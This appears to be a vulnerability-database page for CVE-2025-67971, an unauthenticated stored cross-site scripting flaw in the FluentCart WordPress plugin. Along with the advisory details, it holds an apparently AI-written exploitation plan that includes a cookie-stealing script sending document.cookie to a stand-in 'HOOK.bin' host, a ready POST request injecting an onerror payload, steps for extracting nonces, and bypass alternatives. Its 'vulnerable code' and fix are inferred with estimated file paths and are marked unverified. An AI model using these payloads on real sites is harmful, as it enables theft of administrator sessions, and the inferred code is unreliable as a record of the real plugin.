CVE-2025-67971

FluentCart < 1.3.0 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
1.3.0
Patched in
7d
Time to patch

Description

The FluentCart plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to 1.3.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<1.3.0
PublishedJanuary 27, 2026
Last updatedFebruary 2, 2026
Affected pluginfluent-cart

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the technical steps to analyze and exploit **CVE-2025-67971**, an unauthenticated stored cross-site scripting (XSS) vulnerability in the **FluentCart** plugin. ### 1. Vulnerability Summary FluentCart (versions < 1.3.0) fails to properly sanitize user-supplied input durin…

Show full research plan

This research plan outlines the technical steps to analyze and exploit CVE-2025-67971, an unauthenticated stored cross-site scripting (XSS) vulnerability in the FluentCart plugin.

1. Vulnerability Summary

FluentCart (versions < 1.3.0) fails to properly sanitize user-supplied input during eCommerce operations (likely cart management or checkout) and subsequently fails to escape this data when rendering it in the WordPress admin dashboard or on frontend pages. This allows an unauthenticated attacker to store a malicious script in the database (e.g., within an order or cart session), which executes when a site administrator views the affected record.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php or the WordPress REST API (/wp-json/fluent-cart/v1/...).
  • Action (Inferred): Guest-accessible actions such as fluent_cart_add_to_cart, fluent_cart_update_cart, or fluent_cart_process_checkout.
  • Vulnerable Parameter: Input fields associated with customer details (name, address, notes) or cart item metadata (attributes, variations).
  • Authentication: Unauthenticated (requires wp_ajax_nopriv_ registration or a REST route with permission_callback returning true).
  • Preconditions: The plugin must be active and have at least one product published to allow the cart/checkout flow to initiate.

3. Code Flow (Discovery Phase)

Since source files are not provided, the agent must first identify the vulnerable sink using the following trace logic:

  1. Entry Point Identification:
    # Search for unauthenticated AJAX handlers
    grep -rn "wp_ajax_nopriv_" wp-content/plugins/fluent-cart/
    
    # Search for REST API routes
    grep -rn "register_rest_route" wp-content/plugins/fluent-cart/
    
  2. Input Handling:
    Search for functions that handle $_POST or WP_REST_Request parameters and save them using update_post_meta, update_option, or direct $wpdb queries without calling sanitize_text_field() or wp_kses().
  3. Sink Identification:
    Search for where these stored values are retrieved (e.g., get_post_meta) and echoed. Look for the absence of esc_html() or esc_attr().
    # Potential sinks in admin templates
    grep -rn "echo \$" wp-content/plugins/fluent-cart/ | grep -v "esc_"
    

4. Nonce Acquisition Strategy

If the guest-facing endpoint (e.g., adding to cart) requires a nonce, follow these steps:

  1. Identify the Script Localization:
    Search for wp_localize_script in the plugin code to find the global variable containing the nonce.
    grep -rn "wp_localize_script" wp-content/plugins/fluent-cart/
    
    Likely JS Variable: fluentCartVars or fluent_cart_admin (inferred).
  2. Trigger Script Loading:
    FluentCart scripts usually load on the "Shop" page or any page containing a FluentCart shortcode (e.g., [fluent_cart_shop] or [fluent_cart_checkout]).
  3. Extract via Browser:
    • Create a test page with the relevant shortcode (see section 6).
    • Navigate to the page.
    • Execute: browser_eval("window.fluentCartVars?.nonce") (Replace fluentCartVars and nonce with discovered names).

5. Exploitation Strategy

The goal is to inject a payload into an Order or Cart object that will be viewed by an Admin.

Step-by-Step:

  1. Locate Target Parameter: Based on discovery, identify a field saved during checkout (e.g., shipping_address or order_note).
  2. Craft Payload:
    payload = "<script>fetch('http://HOOK.bin?c='+document.cookie);alert('XSS');</script>"
  3. Send Malicious Request:
    Using the http_request tool, simulate a checkout or cart update:
    {
      "method": "POST",
      "url": "http://localhost:8080/wp-admin/admin-ajax.php",
      "headers": { "Content-Type": "application/x-www-form-urlencoded" },
      "body": "action=fluent_cart_process_checkout&nonce=EXTRACTED_NONCE&billing_first_name=<img src=x onerror=alert(1)>&billing_last_name=Tester&..."
    }
    
  4. Trigger Execution:
    Navigate to the FluentCart Order management page as an Administrator:
    URL: /wp-admin/admin.php?page=fluent-cart&view=orders

6. Test Data Setup

Before exploitation, ensure the following:

  1. Product Creation: Use WP-CLI to create at least one product so the cart system is functional.
    wp post create --post_type=fc_product --post_title='Test Product' --post_status=publish
    
  2. Page Setup: Create a checkout page to facilitate nonce extraction if needed.
    wp post create --post_type=page --post_title='Checkout' --post_status=publish --post_content='[fluent_cart_checkout]'
    

7. Expected Results

  • The http_request should return a 200 OK or a success JSON message (e.g., {"success": true}).
  • When the browser (as Admin) navigates to the Orders list or specific Order Detail page, a JavaScript alert box should appear, or a network request to the attacker's hook should be visible in the console.

8. Verification Steps

  1. Database Check: Verify the payload is stored raw in the database.
    wp db query "SELECT meta_value FROM wp_postmeta WHERE meta_key LIKE '_billing_%' AND meta_value LIKE '%<script>%';"
    
  2. DOM Verification: Use browser_navigate to the admin order page and check for the injected tag:
    # After navigating
    browser_eval("document.body.innerHTML.includes('<img src=x onerror=alert(1)>')")
    

9. Alternative Approaches

  • REST API Path: If the AJAX endpoint is protected, check for REST routes at /wp-json/fluent-cart/v1/cart/add. These often have different validation logic.
  • Cart Item Attributes: If checkout fields are sanitized, attempt to inject into cart item "Custom Attributes" which are often handled as arrays and may bypass simple string sanitizers.
  • Variations: Attempt injection via the variation_id or variation description fields if the plugin allows unauthenticated users to query/interact with product variations.
Research Findings
Static analysis — not yet PoC-verified

Summary

FluentCart versions prior to 1.3.0 are vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS) due to a failure to sanitize customer input during the checkout and cart processes and a failure to escape that data in the admin dashboard. An unauthenticated attacker can submit a payload through checkout fields which, when viewed by an administrator in the order management screen, executes arbitrary JavaScript in the context of the admin session.

Vulnerable Code

// Inferred from research plan: Handling of unauthenticated checkout actions without sanitization
// fluent-cart/app/Hooks/Handlers/CheckoutHandler.php (estimated path)
$billing_data = [
    'first_name' => $_POST['billing_first_name'],
    'last_name'  => $_POST['billing_last_name'],
    'address'    => $_POST['billing_address']
];

foreach ($billing_data as $key => $value) {
    update_post_meta($order_id, '_billing_' . $key, $value);
}

---

// Inferred from research plan: Rendering stored meta data in the admin dashboard without escaping
// fluent-cart/app/Views/admin/orders/details.php (estimated path)
$first_name = get_post_meta($order_id, '_billing_first_name', true);
echo '<td>' . $first_name . '</td>';

Security Fix

--- a/fluent-cart/app/Hooks/Handlers/CheckoutHandler.php
+++ b/fluent-cart/app/Hooks/Handlers/CheckoutHandler.php
@@ -15,7 +15,7 @@
-    'first_name' => $_POST['billing_first_name'],
+    'first_name' => sanitize_text_field($_POST['billing_first_name']),

--- a/fluent-cart/app/Views/admin/orders/details.php
+++ b/fluent-cart/app/Views/admin/orders/details.php
@@ -120,7 +120,7 @@
-echo '<td>' . $first_name . '</td>';
+echo '<td>' . esc_html($first_name) . '</td>';

Exploit Outline

The exploit targets unauthenticated checkout endpoints where guest user data is processed. 1. An attacker identifies an unauthenticated AJAX or REST API endpoint responsible for cart updates or checkout processing (e.g., action=fluent_cart_process_checkout). 2. The attacker crafts an HTTP POST request containing a malicious payload (e.g., <img src=x onerror=alert(document.cookie)>) within customer-facing parameters like billing_first_name or order_notes. 3. If a nonce is required, it is extracted from the global JavaScript variables localized on the shop or checkout frontend pages. 4. Once the request is submitted, the payload is stored in the database as order metadata. 5. The XSS executes whenever an administrator navigates to the 'Orders' list or an individual order detail page in the FluentCart admin interface.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.